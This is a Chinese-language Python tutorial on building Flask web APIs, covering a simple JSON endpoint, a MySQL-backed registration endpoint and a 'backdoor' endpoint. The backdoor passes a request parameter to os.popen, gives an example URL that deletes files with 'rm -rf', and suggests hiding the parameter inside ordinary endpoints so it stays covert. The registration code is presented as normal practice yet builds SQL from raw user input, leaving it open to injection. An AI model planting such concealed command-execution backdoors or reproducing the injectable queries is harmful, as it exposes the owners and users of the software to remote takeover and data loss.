Python學習之==>接口開發

一、開發接口的作用

　　1、在別的接口沒有開發完成的時候可以模擬一些接口以便測試已經開發完成的接口，例如假的支付接口，模擬支付成功、支付失敗。

　　2、了解接口是如何實現的：數據交互、數據返回

　　3、開發給別人查看數據，避免其他人直接操作數據庫

二、接口開發的步驟

　　1、實例化server

　　2、裝飾器下面的函數變為一個接口

　　3、啟動服務

三、開發一個簡單的接口

import flask,json
server = flask.Flask(__name__)           # 實例化server，把當前這個python文件當作一個服務，__name__代表當前這個python文件
@server.route('/index',methods=['get'])  # 'index'是接口路徑，methods不寫，則默認get請求
# 裝飾器，下面的函數變為一個接口
def index():
    res = {'msg':'這是我開發的第一個接口','msg_code':'0000'}
    return json.dumps(res,ensure_ascii=False)
    # json.dumps 序列化時對中文默認使用的ascii編碼.想輸出真正的中文需要指定ensure_ascii=False

server.run(port=8888,debug=True,host='0.0.0.0')  # 啟動服務
# debug=True,改了代碼后，不用重啟，它會自動重啟
# 'host='0.0.0.0'別人可以通過IP訪問

運行這段代碼，打開瀏覽器，輸入http://127.0.0.1:8888/index，就可以看到如下運行結果：

四、開發一個注冊接口

import flask,json
server = flask.Flask(__name__) 
@server.route('/reg',methods=['post'])
def reg():
    username =flask.request.values.get('username')
    pwd = flask.request.values.get('pwd')
    if username and pwd:
        sql = 'select * from my_user where username = "%s";'%username
        if my_db(sql):
            res = {'msg':'用戶已存在','msg_code':2001}
        else:
            insert_sql = 'insert into my_user(username,passwd,is_admin) values ("%s","%s",0);'%(username,pwd)
            my_db(insert_sql)
            res = {'msg':'注冊成功','msg_code':0000}
    else:
        res = {'msg':'必填字段未填，請查看接口文檔！','msg_code':1001}
    return json.dumps(res,ensure_ascii=False)

server.run(port=8888,debug=True,host='0.0.0.0')  # 啟動服務
# debug=True,改了代碼后，不用重啟，它會自動重啟
# 'host='0.0.0.0'別人可以通過IP訪問

my_db()為另外封裝的函數，應放在接口上面，具體代碼如下：

def my_db(sql):
    import pymysql
    coon = pymysql.connect(
        host='192.168.1.112', user='test', passwd='111111',
        port=3306, db='test', charset='utf8')
    cur = coon.cursor() #建立游標
    cur.execute(sql)#執行sql
    if sql.strip()[:6].upper()=='SELECT':
        res =  cur.fetchall()
    else:
        coon.commit()
        res = 'ok'
    cur.close()
    coon.close()
    return res

使用postman測試結果如下：

五、后門接口

import os
@server.route('/error',methods=['get'])
def cmd():
    cmd = flask.request.values.get('cmd')  # 接口入參
    res = os.popen(cmd)                    # 執行用戶命令
    return res.read()                      # 返回執行結果
    # http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后門接口可以直接通過瀏覽器刪除項目文件
    # 隱蔽一點的方法，把cmd = flask.request.values('cmd'，None)寫入正常接口
    # 默認可以不傳，一但傳了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0')  # 啟動服務
# debug=True,改了代碼后，不用重啟，它會自動重啟
# 'host='0.0.0.0'別人可以通過IP訪問

一個接口文件中可以包含多個接口，只要接口路徑不一致即可。但是server.run()一定要放到所有接口最底下，否則，在server.run()下面的接口是不會被運行的。